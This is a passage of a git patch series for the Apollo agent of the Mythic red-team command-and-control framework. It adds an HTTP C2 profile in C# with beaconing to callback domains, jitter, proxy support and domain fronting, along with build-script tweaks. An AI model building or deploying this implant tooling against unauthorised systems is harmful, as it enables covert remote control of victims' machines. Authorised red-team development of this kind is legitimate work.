[".", "."] diff --git a/agent_capabilities.json b/agent_capabilities.json index 3514bb1c..ee9ca7a3 100644 --- a/agent_capabilities.json +++ b/agent_capabilities.json @@ -9,7 +9,7 @@ }, "payload_output": ["exe", "shellcode", "service"], "architectures": ["x86_64"], - "c2": ["http", "smb", "tcp", "websocket"], + "c2": ["http", "smb", "tcp", "websocket", "httpx"], "mythic_version": "3.3.1-rc75", "agent_version": "2.3.26", "supported_wrappers": ["service_wrapper", "scarecrow_wrapper"] From af870f8cfa965251b4e66f3395580dd0490e2407 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Tue, 21 Oct 2025 23:58:23 +0200 Subject: [PATCH 17/37] Make sure we support the right version of netframework --- .../agent_code/HttpxProfile/HttpxProfile.cs | 124 +++++++----------- .../HttpxProfile/HttpxProfile.csproj | 2 +- .../agent_code/HttpxTransform/HttpxConfig.cs | 52 ++++++-- .../HttpxTransform/HttpxTransform.csproj | 2 +- 4 files changed, 91 insertions(+), 89 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index c3d23c2a..80475dfa 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -49,28 +49,38 @@ public class HttpxProfile : C2Profile, IC2Profile public HttpxProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) { // Parse basic parameters - CallbackInterval = int.Parse(data.GetValueOrDefault("callback_interval", "10")); - CallbackJitter = double.Parse(data.GetValueOrDefault("callback_jitter", "23")); - CallbackDomains = data.GetValueOrDefault("callback_domains", "https://example.com:443").Split(','); - DomainRotation = data.GetValueOrDefault("domain_rotation", "fail-over"); - FailoverThreshold = int.Parse(data.GetValueOrDefault("failover_threshold", "5")); - EncryptedExchangeCheck = bool.Parse(data.GetValueOrDefault("encrypted_exchange_check", "true")); - KillDate = data.GetValueOrDefault("killdate", "-1"); + CallbackInterval = int.Parse(GetValueOrDefault(data, "callback_interval", "10")); + CallbackJitter = double.Parse(GetValueOrDefault(data, "callback_jitter", "23")); + CallbackDomains = GetValueOrDefault(data, "callback_domains", "https://example.com:443").Split(','); + DomainRotation = GetValueOrDefault(data, "domain_rotation", "fail-over"); + FailoverThreshold = int.Parse(GetValueOrDefault(data, "failover_threshold", "5")); + EncryptedExchangeCheck = bool.Parse(GetValueOrDefault(data, "encrypted_exchange_check", "true")); + KillDate = GetValueOrDefault(data, "killdate", "-1"); // Parse additional features - ProxyHost = data.GetValueOrDefault("proxy_host", ""); - ProxyPort = int.Parse(data.GetValueOrDefault("proxy_port", "0")); - ProxyUser = data.GetValueOrDefault("proxy_user", ""); - ProxyPass = data.GetValueOrDefault("proxy_pass", ""); - DomainFront = data.GetValueOrDefault("domain_front", ""); - TimeoutSeconds = int.Parse(data.GetValueOrDefault("timeout", "240")); + ProxyHost = GetValueOrDefault(data, "proxy_host", ""); + ProxyPort = int.Parse(GetValueOrDefault(data, "proxy_port", "0")); + ProxyUser = GetValueOrDefault(data, "proxy_user", ""); + ProxyPass = GetValueOrDefault(data, "proxy_pass", ""); + DomainFront = GetValueOrDefault(data, "domain_front", ""); + TimeoutSeconds = int.Parse(GetValueOrDefault(data, "timeout", "240")); // Initialize runtime-changeable values _currentSleepInterval = CallbackInterval; _currentJitter = CallbackJitter; // Load httpx configuration - LoadHttpxConfig(data.GetValueOrDefault("raw_c2_config", "")); + LoadHttpxConfig(GetValueOrDefault(data, "raw_c2_config", "")); + } + + private string GetValueOrDefault(Dictionary dictionary, string key, string defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + return value; + } + return defaultValue; } private void LoadHttpxConfig(string configData) @@ -108,67 +118,31 @@ private void LoadHttpxConfig(string configData) private HttpxConfig CreateMinimalConfig() { - return new HttpxConfig - { - Name = "Apollo Minimal", - Get = new VariationConfig - { - Verb = "GET", - Uris = new List { "/api/status" }, - Client = new ClientConfig - { - Headers = new Dictionary - { - { "User-Agent", "Apollo-Httpx/1.0" } - }, - Message = new MessageConfig { Location = "query", Name = "data" }, - Transforms = new List - { - new TransformConfig { Action = "base64", Value = "" } - } - }, - Server = new ServerConfig - { - Headers = new Dictionary - { - { "Content-Type", "application/json" } - }, - Transforms = new List - { - new TransformConfig { Action = "base64", Value = "" } - } - } - }, - Post = new VariationConfig - { - Verb = "POST", - Uris = new List { "/api/data" }, - Client = new ClientConfig - { - Headers = new Dictionary - { - { "User-Agent", "Apollo-Httpx/1.0" }, - { "Content-Type", "application/x-www-form-urlencoded" } - }, - Message = new MessageConfig { Location = "body", Name = "" }, - Transforms = new List - { - new TransformConfig { Action = "base64", Value = "" } - } - }, - Server = new ServerConfig - { - Headers = new Dictionary - { - { "Content-Type", "application/json" } - }, - Transforms = new List - { - new TransformConfig { Action = "base64", Value = "" } - } - } - } - }; + var config = new HttpxConfig(); + config.Name = "Apollo Minimal"; + + // Configure GET variation + config.Get.Verb = "GET"; + config.Get.Uris.Add("/api/status"); + config.Get.Client.Headers.Add("User-Agent", "Apollo-Httpx/1.0"); + config.Get.Client.Message.Location = "query"; + config.Get.Client.Message.Name = "data"; + config.Get.Client.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); + config.Get.Server.Headers.Add("Content-Type", "application/json"); + config.Get.Server.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); + + // Configure POST variation + config.Post.Verb = "POST"; + config.Post.Uris.Add("/api/data"); + config.Post.Client.Headers.Add("User-Agent", "Apollo-Httpx/1.0"); + config.Post.Client.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + config.Post.Client.Message.Location = "body"; + config.Post.Client.Message.Name = ""; + config.Post.Client.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); + config.Post.Server.Headers.Add("Content-Type", "application/json"); + config.Post.Server.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); + + return config; } private string GetCurrentDomain() diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj index f40d8b61..b7ae2830 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj @@ -1,7 +1,7 @@ - net40 + net451 HttpxProfile HttpxTransport Library diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index 2758c9c3..7012544d 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -30,28 +30,43 @@ public class MessageConfig public class ClientConfig { [JsonProperty("headers")] - public Dictionary Headers { get; set; } = new Dictionary(); + public Dictionary Headers { get; set; } [JsonProperty("parameters")] - public Dictionary Parameters { get; set; } = new Dictionary(); + public Dictionary Parameters { get; set; } [JsonProperty("domain_specific_headers")] - public Dictionary> DomainSpecificHeaders { get; set; } = new Dictionary>(); + public Dictionary> DomainSpecificHeaders { get; set; } [JsonProperty("message")] - public MessageConfig Message { get; set; } = new MessageConfig(); + public MessageConfig Message { get; set; } [JsonProperty("transforms")] - public List Transforms { get; set; } = new List(); + public List Transforms { get; set; } + + public ClientConfig() + { + Headers = new Dictionary(); + Parameters = new Dictionary(); + DomainSpecificHeaders = new Dictionary>(); + Message = new MessageConfig(); + Transforms = new List(); + } } public class ServerConfig { [JsonProperty("headers")] - public Dictionary Headers { get; set; } = new Dictionary(); + public Dictionary Headers { get; set; } [JsonProperty("transforms")] - public List Transforms { get; set; } = new List(); + public List Transforms { get; set; } + + public ServerConfig() + { + Headers = new Dictionary(); + Transforms = new List(); + } } public class VariationConfig @@ -60,13 +75,20 @@ public class VariationConfig public string Verb { get; set; } [JsonProperty("uris")] - public List Uris { get; set; } = new List(); + public List Uris { get; set; } [JsonProperty("client")] - public ClientConfig Client { get; set; } = new ClientConfig(); + public ClientConfig Client { get; set; } [JsonProperty("server")] - public ServerConfig Server { get; set; } = new ServerConfig(); + public ServerConfig Server { get; set; } + + public VariationConfig() + { + Uris = new List(); + Client = new ClientConfig(); + Server = new ServerConfig(); + } } public class HttpxConfig @@ -75,10 +97,16 @@ public class HttpxConfig public string Name { get; set; } [JsonProperty("get")] - public VariationConfig Get { get; set; } = new VariationConfig(); + public VariationConfig Get { get; set; } [JsonProperty("post")] - public VariationConfig Post { get; set; } = new VariationConfig(); + public VariationConfig Post { get; set; } + + public HttpxConfig() + { + Get = new VariationConfig(); + Post = new VariationConfig(); + } /// /// Load configuration from JSON string diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj index d6c63d66..bff2de19 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj @@ -1,7 +1,7 @@ - net40 + net451 HttpxTransform HttpxTransform Library From 41d17e594eb49f35c28c314a6aaf2c4bb1aecefc Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sat, 25 Oct 2025 14:48:32 +0200 Subject: [PATCH 18/37] Removed explicit compile --- .../apollo/agent_code/HttpxProfile/HttpxProfile.csproj | 1 - .../apollo/agent_code/HttpxTransform/HttpxTransform.csproj | 5 ----- 2 files changed, 6 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj index b7ae2830..efe29509 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj @@ -15,7 +15,6 @@ - diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj index bff2de19..571edade 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxTransform.csproj @@ -12,10 +12,5 @@ - - - - - From c0601ed88af250494af87ffcf04165b8032252db Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sat, 25 Oct 2025 15:03:13 +0200 Subject: [PATCH 19/37] Implementing some missing interface methods in HttpxProfile --- .../agent_code/HttpxProfile/HttpxProfile.cs | 33 ++++++++++++++++--- 1 file changed, 29 insertions(+), 4 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index 80475dfa..d21c6d2c 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -36,7 +36,7 @@ public class HttpxProfile : C2Profile, IC2Profile // Add thread-safe properties for runtime sleep/jitter changes private volatile int _currentSleepInterval; - private volatile double _currentJitter; + private volatile int _currentJitterInt; // Store as int to avoid volatile double issue // Add missing features private string ProxyHost; @@ -67,7 +67,7 @@ public HttpxProfile(Dictionary data, ISerializer serializer, IAg // Initialize runtime-changeable values _currentSleepInterval = CallbackInterval; - _currentJitter = CallbackJitter; + _currentJitterInt = (int)(CallbackJitter * 100); // Store as int (multiply by 100) // Load httpx configuration LoadHttpxConfig(GetValueOrDefault(data, "raw_c2_config", "")); @@ -330,7 +330,7 @@ public int GetSleepTime() { // Use runtime-changeable values instead of static ones int sleepInterval = _currentSleepInterval; - double jitter = _currentJitter; + double jitter = _currentJitterInt / 100.0; // Convert back to double if (jitter > 0) { @@ -352,7 +352,7 @@ public void UpdateSleepSettings(int interval, double jitter) } if (jitter >= 0) { - _currentJitter = jitter; + _currentJitterInt = (int)(jitter * 100); // Store as int } } @@ -360,5 +360,30 @@ public void SetConnected(bool connected) { Connected = connected; } + + // IC2Profile interface implementations + public void Start() + { + bool first = true; + while(Agent.IsAlive()) + { + bool bRet = GetTasking(resp => Agent.GetTaskManager().ProcessMessageResponse(resp)); + + if (!bRet) + { + break; + } + + Agent.Sleep(); + } + } + + private bool GetTasking(OnResponse onResp) => Agent.GetTaskManager().CreateTaskingMessage(msg => SendRecv(msg, onResp)); + + public bool IsOneWay() => false; + + public bool Send(T message) => throw new Exception("HttpxProfile does not support Send only."); + + public bool Recv(MessageType mt, OnResponse onResp) => throw new NotImplementedException("HttpxProfile does not support Recv only."); } } From 9ac2d165d2bb01320fae9bf8f5591d61c1a86a03 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sat, 25 Oct 2025 15:08:21 +0200 Subject: [PATCH 20/37] Removed warnings from build log --- Payload_Type/apollo/Dockerfile | 2 +- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 4 ++-- .../apollo/apollo/mythic/agent_functions/execute_assembly.py | 2 +- .../apollo/apollo/mythic/agent_functions/execute_pe.py | 2 +- Payload_Type/apollo/apollo/mythic/agent_functions/load.py | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index 07c5b48c..e839f967 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -18,7 +18,7 @@ RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2. COPY [".", "."] # fetch all dependencies -RUN cd apollo/agent_code && dotnet restore && rm donut ; cp /donut donut +RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"] diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index b285a384..447881f3 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -368,9 +368,9 @@ async def build(self) -> BuildResponse: # Build command with conditional embedding if self.get_parameter('debug'): - command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" + command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet" else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet" await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Gathering Files", diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py index b2a49d6d..015cd00e 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py @@ -127,7 +127,7 @@ async def build_exeasm(self): ) # shutil to copy payload files over copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/".format( + shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/ --verbosity quiet".format( agent_build_path.name, agent_build_path.name ) proc = await asyncio.create_subprocess_shell( diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py index b4c024cc..4f2807b9 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py @@ -126,7 +126,7 @@ async def build_exepe(self): agent_build_path.name ) copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecutePE/ExecutePE.csproj -o {}/ExecutePE/bin/Release".format( + shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecutePE/ExecutePE.csproj -o {}/ExecutePE/bin/Release --verbosity quiet".format( agent_build_path.name, agent_build_path.name ) proc = await asyncio.create_subprocess_shell( diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py b/Payload_Type/apollo/apollo/mythic/agent_functions/load.py index bd9bf721..d13f2451 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/load.py @@ -174,7 +174,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat f.write(templateFile.encode()) outputPath = "{}/Tasks/bin/Release/Tasks.dll".format(agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/Tasks/Tasks.csproj -o {}/Tasks/bin/Release/".format(agent_build_path.name, agent_build_path.name) + shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/Tasks/Tasks.csproj -o {}/Tasks/bin/Release/ --verbosity quiet".format(agent_build_path.name, agent_build_path.name) proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) stdout, stderr = await proc.communicate() From 77b2975d907e61473c36a6b327a8922f763d8010 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sun, 26 Oct 2025 15:18:41 +0100 Subject: [PATCH 21/37] HttpxProfile seems to be working with Apollo now, client EKE --- .../agent_code/HttpxProfile/HttpxProfile.cs | 628 +++++++++++++++--- .../HttpxProfile/default_config.json | 93 --- .../agent_code/HttpxTransform/HttpxConfig.cs | 41 ++ .../apollo/mythic/agent_functions/builder.py | 150 +++-- 4 files changed, 676 insertions(+), 236 deletions(-) delete mode 100644 Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index d21c6d2c..56cc94ca 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -12,6 +12,12 @@ using System.IO; using System.Threading; +#if DEBUG +using System.Diagnostics; +#endif + +// Add HttpWebResponse for detailed error logging + namespace HttpxTransport { /// @@ -33,6 +39,7 @@ public class HttpxProfile : C2Profile, IC2Profile private Random Random = new Random(); private bool _uuidNegotiated = false; private RSAKeyGenerator rsa = null; + private string _tempUUID = null; // For EKE staging process // Add thread-safe properties for runtime sleep/jitter changes private volatile int _currentSleepInterval; @@ -48,29 +55,83 @@ public class HttpxProfile : C2Profile, IC2Profile public HttpxProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) { +#if DEBUG + DebugWriteLine("[HttpxProfile] Constructor starting"); + DebugWriteLine($"[HttpxProfile] Received {data.Count} parameters"); +#endif + // Parse basic parameters - CallbackInterval = int.Parse(GetValueOrDefault(data, "callback_interval", "10")); - CallbackJitter = double.Parse(GetValueOrDefault(data, "callback_jitter", "23")); + CallbackInterval = GetIntValueOrDefault(data, "callback_interval", 10); +#if DEBUG + DebugWriteLine($"[HttpxProfile] callback_interval = {CallbackInterval}"); +#endif + + CallbackJitter = GetDoubleValueOrDefault(data, "callback_jitter", 23.0); +#if DEBUG + DebugWriteLine($"[HttpxProfile] callback_jitter = {CallbackJitter}"); +#endif + CallbackDomains = GetValueOrDefault(data, "callback_domains", "https://example.com:443").Split(','); +#if DEBUG + DebugWriteLine($"[HttpxProfile] callback_domains = [{string.Join(", ", CallbackDomains)}]"); +#endif + DomainRotation = GetValueOrDefault(data, "domain_rotation", "fail-over"); - FailoverThreshold = int.Parse(GetValueOrDefault(data, "failover_threshold", "5")); - EncryptedExchangeCheck = bool.Parse(GetValueOrDefault(data, "encrypted_exchange_check", "true")); +#if DEBUG + DebugWriteLine($"[HttpxProfile] domain_rotation = {DomainRotation}"); +#endif + + FailoverThreshold = GetIntValueOrDefault(data, "failover_threshold", 5); +#if DEBUG + DebugWriteLine($"[HttpxProfile] failover_threshold = {FailoverThreshold}"); +#endif + + EncryptedExchangeCheck = GetBoolValueOrDefault(data, "encrypted_exchange_check", true); +#if DEBUG + DebugWriteLine($"[HttpxProfile] encrypted_exchange_check = {EncryptedExchangeCheck}"); +#endif + KillDate = GetValueOrDefault(data, "killdate", "-1"); +#if DEBUG + DebugWriteLine($"[HttpxProfile] killdate = {KillDate}"); +#endif // Parse additional features ProxyHost = GetValueOrDefault(data, "proxy_host", ""); - ProxyPort = int.Parse(GetValueOrDefault(data, "proxy_port", "0")); +#if DEBUG + DebugWriteLine($"[HttpxProfile] proxy_host = '{ProxyHost}'"); +#endif + + ProxyPort = GetIntValueOrDefault(data, "proxy_port", 0); +#if DEBUG + DebugWriteLine($"[HttpxProfile] proxy_port = {ProxyPort}"); +#endif + ProxyUser = GetValueOrDefault(data, "proxy_user", ""); ProxyPass = GetValueOrDefault(data, "proxy_pass", ""); DomainFront = GetValueOrDefault(data, "domain_front", ""); - TimeoutSeconds = int.Parse(GetValueOrDefault(data, "timeout", "240")); + TimeoutSeconds = GetIntValueOrDefault(data, "timeout", 240); +#if DEBUG + DebugWriteLine($"[HttpxProfile] timeout = {TimeoutSeconds}"); +#endif // Initialize runtime-changeable values _currentSleepInterval = CallbackInterval; _currentJitterInt = (int)(CallbackJitter * 100); // Store as int (multiply by 100) +#if DEBUG + DebugWriteLine($"[HttpxProfile] Initialized runtime values: sleep={_currentSleepInterval}, jitter={_currentJitterInt}"); +#endif // Load httpx configuration - LoadHttpxConfig(GetValueOrDefault(data, "raw_c2_config", "")); + string rawConfig = GetValueOrDefault(data, "raw_c2_config", ""); +#if DEBUG + DebugWriteLine($"[HttpxProfile] raw_c2_config length = {rawConfig.Length}"); +#endif + + LoadHttpxConfig(rawConfig); +#if DEBUG + DebugWriteLine("[HttpxProfile] Constructor complete"); +#endif } private string GetValueOrDefault(Dictionary dictionary, string key, string defaultValue) @@ -78,77 +139,174 @@ private string GetValueOrDefault(Dictionary dictionary, string k string value; if (dictionary.TryGetValue(key, out value)) { + // Return empty string as default if value is null or empty + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } return value; } return defaultValue; } + private int GetIntValueOrDefault(Dictionary dictionary, string key, int defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } + if (int.TryParse(value, out int result)) + { + return result; + } + } + return defaultValue; + } + + private double GetDoubleValueOrDefault(Dictionary dictionary, string key, double defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } + if (double.TryParse(value, out double result)) + { + return result; + } + } + return defaultValue; + } + + private bool GetBoolValueOrDefault(Dictionary dictionary, string key, bool defaultValue) + { + string value; + if (dictionary.TryGetValue(key, out value)) + { + if (string.IsNullOrEmpty(value)) + { + return defaultValue; + } + if (bool.TryParse(value, out bool result)) + { + return result; + } + } + return defaultValue; + } + +#if DEBUG + private void DebugWriteLine(string message) + { + Console.WriteLine(message); + Debug.WriteLine(message); + } +#endif + + private static readonly HashSet RestrictedHeaders = new HashSet(StringComparer.OrdinalIgnoreCase) + { + "Connection", + "Content-Length", + "Date", + "Expect", + "Host", + "If-Modified-Since", + "Range", + "Referer", + "Transfer-Encoding", + "User-Agent" + }; + + private bool IsRestrictedHeader(string headerName) + { + return RestrictedHeaders.Contains(headerName); + } + private void LoadHttpxConfig(string configData) { +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Starting"); + DebugWriteLine($"[LoadHttpxConfig] configData is null = {configData == null}, length = {configData?.Length ?? 0}"); +#endif + try { if (!string.IsNullOrEmpty(configData)) { - // Load from provided config data - Config = HttpxConfig.FromJson(configData); - } - else - { - // Try to load default configuration from embedded resource +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Config data provided, attempting to decode"); +#endif + + // Check if config is Base64 encoded (new format to avoid string escaping issues) + string decodedConfig = configData; try { - Config = HttpxConfig.FromResource("Apollo.HttpxProfile.default_config.json"); + byte[] data = Convert.FromBase64String(configData); + decodedConfig = System.Text.Encoding.UTF8.GetString(data); +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Successfully decoded Base64 config"); + DebugWriteLine($"[LoadHttpxConfig] Decoded config length = {decodedConfig.Length}"); +#endif } - catch (ArgumentException) + catch (FormatException ex) { - // Embedded resource doesn't exist (user provided custom config) - // Fall back to minimal config - Config = CreateMinimalConfig(); +#if DEBUG + DebugWriteLine($"[LoadHttpxConfig] Not Base64 encoded (using as-is): {ex.Message}"); +#endif + // Not Base64, use as-is (backward compatibility) } + + // Load from provided config data +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Attempting HttpxConfig.FromJson"); +#endif + Config = HttpxConfig.FromJson(decodedConfig); +#if DEBUG + DebugWriteLine($"[LoadHttpxConfig] Successfully loaded config: {Config.Name}"); +#endif + } + else + { +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] No config data provided and no embedded resource - agent cannot function without C2 config"); +#endif + throw new InvalidOperationException("Httpx C2 profile requires configuration data. Either provide raw_c2_config parameter or ensure default_config.json is embedded."); } +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Validating config"); +#endif Config.Validate(); +#if DEBUG + DebugWriteLine("[LoadHttpxConfig] Config validated successfully"); +#endif } catch (Exception ex) { - // Fallback to minimal default config - Config = CreateMinimalConfig(); +#if DEBUG + DebugWriteLine($"[LoadHttpxConfig] ERROR: {ex.GetType().Name}: {ex.Message}"); + DebugWriteLine($"[LoadHttpxConfig] Stack: {ex.StackTrace}"); + DebugWriteLine("[LoadHttpxConfig] Killing agent"); +#endif + Environment.Exit(1); } } - private HttpxConfig CreateMinimalConfig() - { - var config = new HttpxConfig(); - config.Name = "Apollo Minimal"; - - // Configure GET variation - config.Get.Verb = "GET"; - config.Get.Uris.Add("/api/status"); - config.Get.Client.Headers.Add("User-Agent", "Apollo-Httpx/1.0"); - config.Get.Client.Message.Location = "query"; - config.Get.Client.Message.Name = "data"; - config.Get.Client.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); - config.Get.Server.Headers.Add("Content-Type", "application/json"); - config.Get.Server.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); - - // Configure POST variation - config.Post.Verb = "POST"; - config.Post.Uris.Add("/api/data"); - config.Post.Client.Headers.Add("User-Agent", "Apollo-Httpx/1.0"); - config.Post.Client.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); - config.Post.Client.Message.Location = "body"; - config.Post.Client.Message.Name = ""; - config.Post.Client.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); - config.Post.Server.Headers.Add("Content-Type", "application/json"); - config.Post.Server.Transforms.Add(new TransformConfig { Action = "base64", Value = "" }); - - return config; - } - private string GetCurrentDomain() { if (CallbackDomains == null || CallbackDomains.Length == 0) - return "https://example.com:443"; + { +#if DEBUG + DebugWriteLine("[GetCurrentDomain] No callback domains, killing agent"); +#endif + Environment.Exit(1); + } + switch (DomainRotation.ToLower()) { @@ -182,35 +340,41 @@ private void HandleDomainSuccess() public bool SendRecv(T message, OnResponse onResponse) { - WebClient webClient = new WebClient(); - - // Configure proxy if needed - if (!string.IsNullOrEmpty(ProxyHost) && ProxyPort > 0) + string sMsg = Serializer.Serialize(message); + byte[] messageBytes = Encoding.UTF8.GetBytes(sMsg); + + // Select HTTP method variation based on message size + // Default behavior: use POST for large messages (>500 bytes), GET for small messages + // This supports any HTTP method (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) from config + VariationConfig variation = null; + if (messageBytes.Length > 500) { - string proxyAddress = $"{ProxyHost}:{ProxyPort}"; - webClient.Proxy = new WebProxy(proxyAddress); + // Try POST, PUT, PATCH in order until we find a valid configuration + variation = Config.GetVariation("post") ?? Config.GetVariation("put") ?? Config.GetVariation("patch"); - if (!string.IsNullOrEmpty(ProxyUser) && !string.IsNullOrEmpty(ProxyPass)) + // Fall back to GET if no large-message methods are configured + if (variation == null || string.IsNullOrEmpty(variation.Verb) || variation.Uris == null || variation.Uris.Count == 0) { - webClient.Proxy.Credentials = new NetworkCredential(ProxyUser, ProxyPass); + variation = Config.GetVariation("get"); } } else { - // Use Default Proxy and Cached Credentials for Internet Access - webClient.Proxy = WebRequest.GetSystemWebProxy(); - webClient.Proxy.Credentials = CredentialCache.DefaultCredentials; + // Small messages: use GET, HEAD, or OPTIONS + variation = Config.GetVariation("get") ?? 